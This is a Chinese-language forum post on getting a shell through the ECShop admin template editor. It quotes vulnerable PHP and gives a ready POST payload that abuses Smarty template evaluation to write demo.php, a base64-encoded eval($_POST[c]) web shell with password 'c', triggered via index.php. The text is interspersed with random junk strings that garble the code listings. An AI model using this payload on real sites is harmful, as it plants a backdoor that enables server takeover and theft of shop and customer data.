Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
9 o+ }: b2 u5 q$ ^
2 P/ P  n! j* `* J9 @而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php
: l. E' ~- i! T
1 if ($_REQUEST['act'] == 'update_library')
7 m$ W+ R% M/ A* I! t! I
2   
9 n! `  Y# t/ k( T
3 {

- a+ v2 D- w% K' U4     check_authz_json('library_manage');

! e! a! i) o$ B5   
, b' `1 ~4 t6 C# a
( A' B* U5 ?3 X# T: _; a1 {6     $html = stripslashes(json_str_iconv($_POST['html']));

7   
% Z$ j% d1 |. X& g0 ]$ d7 n
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
0 o: ]/ W- W: ?$ F5 a$ `5 x% p
9   

10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

7 ^( B9 e& y1 p6 W7 A11   
% P+ J: v+ Y5 c' ]  b8 Z
6 U# Z! Q1 X7 o; q+ h- {12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
1 k; o' x' W& H9 A4 e. j( \% `4 x
13   
! L! r* ~% @$ A. o
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

15     {
* H8 p, g: J* `% v" x$ g( ^
8 u& Q( Q& n6 d# |7 }' q1 c16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
) r8 w8 b' Y1 h  @4 k2 x6 d
- P8 ?& v3 W/ W8 t! Q$ f5 p- c, h17         make_json_result('', $_LANG['update_lib_success']);
5 Z' e9 M* ~1 Z# f) `
  R- L# F/ [* N; a18     }
3 Z6 f* K" K4 C$ C
19     else

+ {2 V: d2 U9 o7 N  V' w3 r20     {
7 N8 C5 P2 `/ Y
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
3 H+ \# w- `1 `. s- |
22     }

& y. o8 H4 J6 ?23 }
( I  Y2 P# D0 D; U
那么找个比较方便调用了模板的文件
index.php

7 c( \1 {; O9 V' \9 X1 if ($act == 'cat_rec')

2   
' H, Y- f1 c) ^. W5 z* \
6 Z. T( C. j4 z( \& ~2 B3 {
# D: `: S4 Y- u: \( G2 Q
+ C! {2 l. j% b- Y9 r8 |4   
" B" g8 b3 `* C) E
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
0 R) ]& j8 R( d1 F
  }  W' {6 e% z- ^* w6 z, l6   
9 U' w# o8 Y' |0 ~# b2 T
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
4 W4 B+ r/ }/ z. n# i7 ?: G
5 }% b7 i$ O8 U5 a1 ^; Y8   

0 m& m2 p/ G2 Q4 J' {9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

10   

11     include_once('includes/cls_json.php');
% Q, K5 h1 j6 m1 {
& u+ J0 k" j, F" D! Z' Y; L12   
4 n, |2 p4 K  r& @/ H
13     $json = new JSON;

7 \; i: D" D! @14   

15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   

5 s" W6 ^  Z3 g" E/ s! `; x17     $children = get_children($cat_id);
& i7 o) B: t6 O" ^6 l
2 x" H. n: f# {2 N' p18   
" E' Z" G% o) P5 g* N, w
) [% k9 T: W/ Z/ s8 b19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
( b$ h' O/ S3 V
) Q& O8 G0 B- m1 J: C. l20   

21     $smarty->assign('cat_rec_sign', 1);

, o& I- U/ V: A" h3 M22   
) @7 @6 K9 Z; P& c2 }
; Q: ~6 `8 j7 u- i$ y23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
. v7 H; J* m8 l2 t- V2 P
24   

25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
  O7 d7 v% G9 k6 M" _$ E. k
/ Q: ?1 g8 X  Q, X: t% y% M26   
, N' H: i' `& f6 i4 B
27         echo $rec_array[$rec_type];
+ {& j3 F( N5 D8 `
1 W6 F4 _7 U- H4 T/ l; e  |28   
1 D- Z% a) o4 s. u
29     die($json->encode($result));

9 |! o9 \+ N! g30   
& H! Q  j- |- \7 I% D7 X% u
8 ]  K1 A3 c4 y! d  A7 }& k8 s31 }

1 j9 |+ R' k3 p' R. s8 W" A那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
Post内容：

5 N. W; q7 w) C0 n​
" ^# W& T" }+ r; i8 @4 ^1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

然后访问http://localhost/ec/index.php?act=cat_rec

, B1 T: b& O7 u" H- ?9 P/ ~- tshel地址：http://localhost/ec/demo.php
密码c

, E) @9 Y8 O) g0 W3 B0 J